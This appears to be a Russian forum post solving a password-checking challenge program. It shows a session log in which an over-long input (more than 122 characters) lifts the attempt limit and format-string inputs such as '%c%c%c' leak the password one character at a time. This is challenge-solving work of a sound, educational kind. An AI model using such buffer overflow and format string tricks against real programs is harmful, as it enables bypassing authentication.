Вероятно, один из способов решения, это использовать ошибку форматной строки:
Так-же нет никаких ограничений на длинну ввода в переменные, вероятно, это тоже можо как-то использовать. Например, если во время первого запроса на ввод пароля ввести более 122 символов, то исчезнет ограничение на 2-е попытки угадать пароль
P.S. компилировал gcc на 64-битной системе
upd:
Вобщем, вот мой вариант решения данной задачи =)
Код:
Etalon password: 1234
[...]
Password: <122 симола 'a'>
<122 симола 'a'> - wrong pasword!
Password: %c%c%c
1 - wrong pasword!
Password: 1%c%c%c
1
2 - wrong pasword!
Password: 12%c%c%c
12
3 - wrong pasword!
Password: 123%c%c%c
123
4 - wrong pasword!
Password: 1234%c%c%c
1234
- wrong pasword!
Password: 1234
You're COOl hacker!!!
Сообщая что пароль не верный, программа выводит следующий верный симол пароля(перед "- wrong pasword!"), таким образом, убрав ограничение на 2-е попытки (122 сивола 'a'), мы посимвольно подбираем верный пароль.